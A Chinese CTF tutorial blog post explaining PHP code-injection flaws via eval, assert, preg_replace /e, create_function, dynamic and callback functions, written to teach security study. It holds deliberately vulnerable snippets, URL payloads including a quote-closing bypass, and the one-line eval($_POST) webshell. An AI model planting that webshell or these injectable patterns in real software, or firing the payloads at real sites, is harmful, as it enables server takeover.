CTF分享 | 命令执行-2

admin 2024年8月26日22:15:31评论19 views字数 3388阅读11分17秒阅读模式

代码执行介绍

代码执行与命令执行:
代码执行介绍:
当用户提交的参数被作为代码的时候,此时称之为代码注入
广义代码注入:覆盖大半安全漏洞分类,例如: SQL注入、XSS跨站等。
狭义代码注入:动态代码执行函数的参数过滤不严格,导致用户输入数据作为服务端代码执行。
代码执行(相关函数):
大致分为五类: 
1、eval+assert函数 
2、preg_replace  /e  
3、用户自定义函数  
4、动态函数  
5、其他

eval(PHP 4,PHP 5,PHP 7)
- 把字符串作为PHP代码执行,当用户可以控制字符串那么此时就存在代码注入漏洞。

eval( string $code ) : mixed
把字符串code 作为PHP代码执行。
mixed说明一个参数可以接受多种不同的(但不一定 是所有的)类型。

参考: https://www.php.net/eval
<?php
highlight_file(__FILE__); //https://www.php.net/highlight_file
eval('phpinfo( );');//https://www.php.net/phpinfo
?>

CTF分享 | 命令执行-2

CTF分享 | 命令执行-2

#与eval类似,字符串被assert()当做PHP代码来执行
<?php
	assert('phpinfo( )' ); #加不加 ;都可以执行。兼容性更强。
?>

CTF分享 | 命令执行-2

CTF分享 | 命令执行-2

如果执行字符串,是通过GET| POST方式由用户输入,那么此时可以修改提交的字符串以达到任意执行代码的目的:
<?php
	highlight_ file(__ FILE__ );
	$cmd = $_GET[ 'cmd' ];
	eval($cmd);
?>

CTF分享 | 命令执行-2

CTF分享 | 命令执行-2

如果访问URL: http://192.168.0.100/02CMD/01-CO0DE/?cmd=phpinfo()
报错: Parse error: syntax error, unexpected $end in C: phpstudy_proWWW&#x0;2CMD&#x0;1-Code index.php(4) : eval()'d code on line 1

错误原因:
eval中传入的必须是有效的PHP代码。所有的语句必须以分号结尾。比如'echo "Hi!"' 会导致一个parse error, 而'echo "Hi!";' 则会正常运行。
如果访问: http://192.168.0.100/02CMD/01-C0DE/?cmd=phpinfo();

CTF分享 | 命令执行-2

# assert($cmd) ——》替换 eval($cmd)
<?php
	highlight_ file(__ FILE__ );
	$cmd = $_GET[ 'cmd' ];
	assert($cmd);
?>
如果访问: http://192.168.0.100/02CMD/01-C0DE/?cmd=phpinfo()   #加不加 ;都可以。

安全人员防御:加引号。
<?php
highlight_file('index.php' );
$cmd = $_GET['cmd'] ;
eval("$ret = strtolower('$cmd');"); //strtolower : 将字符串转化为小写
?>

绕过: (闭合+注释)

http://192.168.0.100/02CMD/61-CODE/ ?cmd=%27) ;phpinfo();//
$ret = strtolower(' ');phpinfo( );//

CTF分享 | 命令执行-2

如果系统中开启了GPC就无法进行绕过了。
'=>'
在PHP5及之前,magic_quotes_gpc默认是开启的。magic_quotes_gpc的作用很微妙,我一直使用PHP5多年,
magic_ quotes_ gpc 呈开启状态,平时没有受到任何影响。直到发现PHP的Cookies,如果有'这样的标点符号,在Cookies里,
会将这些符号全部转义为'

在php.ini中修改(重启,否则不生效)
;magic_ quotes_gpc
; Default Value: On
; Development Value: Off
; Production Value: Off

CTF分享 | 命令执行-2

PHP7的php . ini里没有magic_ quotes . gpc的选项,实际呈关闭状态。magic_ quotes_gpc关闭之后,为了加强安全,原来所
有的$_POST['abc' ]和$_GET['abc' ]最好全部加上stripslashes()来转义,例如:
$aa=stripslashes($_POST['abc']);     abc ' '
$aa=stripslashes($_GET['abc']);
一句话Webshell抓包分析:
<?php
	eval($_POST["cmd"]);
?>

CTF分享 | 命令执行-2

preg_replace - 执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern ,mixed $replacement, mixed $subject [,int $limit = -1 [,int&$count ]] ) : mixed

搜索subject中匹配pattern的部分,以replacement进行替换。

preg_replace( )函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使preg_replace()将 replacement 参数当作PHP代码执行。

<?php
	// ?cmd=phpinfo( )
	@preg_replace(" /abc/e", $_REQUEST[ ' cmd' ], "abcd");
?>

CTF分享 | 命令执行-2

<?php
	highlight_file('index.php');
	$cmd = $_GET['cmd'];
	preg_replace(' /<data>(.*)</data>/e', ' $ret="\1";',$cmd); //eval
	echo $ret;
?>
访问http://192.168.0.100/ 02CMD/01-CODE/ ?cmd=<data>{$ {phpinfo()}}</data>

CTF分享 | 命令执行-2

create_function 主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给
create_function(string $args , string $code )执行任意命令。
<?php
	//?cmd=phpinfo();
	$func =create_function('',$_REQUEST['cmd']);
	$func();
?>

CTF分享 | 命令执行-2

动态函数调用:
<?php
	function a(){
		echo 'a';
	}
	function b(){
		echo 'b';
	}
	if(isset($_GET["func"])){
		$myfunc = $_GET["func"];
		echo $myfunc();
	}
?>
访问: http://192.168.0.100/02CMD/01-C0DE/?func=phpinfo

CTF分享 | 命令执行-2

动态函数:
<?php 
//?a=assert&b=phpinfo( )
$_GET['a'](S_GET['b']);
?>

CTF分享 | 命令执行-2

用户自定义函数回调:
call_user_func(callable $callback[ , mixed $parameter])
——》把第一个参数作为回调函数调用,其余参数是回调函数的参数。

使用is_callable函数确定某函数是否可以回调。

输出 1 可以回调:

CTF分享 | 命令执行-2

CTF分享 | 命令执行-2
CTF分享 | 命令执行-2

call_user_func_array( callable $callback , array $param_arr) ——》调用回调函数,并把一个 数组参数作为回调函数的参数。

<?php
//?cmd=phpinfo( )
@call_user_func(assert,$_GET['cmd'] ) ;
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET[ 'cmd' ];
$array[0]=$cmd;
call_user_func_array("assert" , $array);
?>

如果:
<?php
//?cmd=phpinfo()
$cmd=$_ GET['cmd' ] ;
call_user_func_array("assert" , $cmd) ;
?>

那么访问:
index.php?cmd[ ]=phpinfo( )

cmd[] ——》作为数组执行

CTF分享 | 命令执行-2

CTF分享 | 命令执行-2

php 5.6 以上适用:

CTF分享 | 命令执行-2

${php代码}
<?php
	highlight_ file(__FILE__) ;
	${phpinfo()}; 
?>

CTF分享 | 命令执行-2

小结:

1、代码执行漏洞触发效果

2、-句话Webshell的原理 - 代码执行。

原文始发于微信公众号(安全君呀):CTF分享 | 命令执行-2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月26日22:15:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF分享 | 命令执行-2http://cn-sec.com/archives/3097216.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息